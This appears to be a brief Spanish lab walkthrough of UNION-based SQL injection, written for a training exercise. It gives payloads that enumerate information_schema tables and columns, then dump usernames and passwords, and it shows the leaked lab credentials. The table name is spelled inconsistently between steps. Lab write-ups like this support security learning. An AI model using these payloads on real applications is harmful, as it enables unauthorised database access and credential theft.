

3 Lab SQL injection attack, listing the database contents on non-Oracle databases

Primero debemos saber que tablas existen en esta base de datos non-Oracle, para ello usaremos la siguiente sentencia:

``'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables+--+

Refine your search:

All

Corporate gifts

Food & Drink

Lifestyle

Pets

Toys & Games

pg_partitioned_table

pg_available_extension_versions

pg_shdescription

user_defined_types

udt_privileges

sql_packages

pg_event_trigger

pg_amop

schemata

routines

referential_constraints

administrable_role_authorizations

products

pg_foreign_data_wrapper

pg_prepared_statements

pg_largeobject_metadata

foreign_tables

sql_implementation_info

collation_character_set_applicability

Vemos de todas las posibles columnas a elegir que una se llama "user_ibyexv" para acceder a su contenido y que la página nos lo muestre agregaremos la siguiente sentencia:

```
``'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='user_ibyexy'--
```

Tras obtener las columnas que existen en esta tabla de usuarios, solo nos queda consultarlas:

```
``'+UNION+SELECT+password_ujzgzm,username_iplfrc+from+users_ibyexv--
```

vug46amth8ohu78posuu

administrator

ot6urjiaheigiq3veby8

carlos

tjda2p3a83rgi9nb16b2

wiener

Obtenemos las password y usernames de todos los users.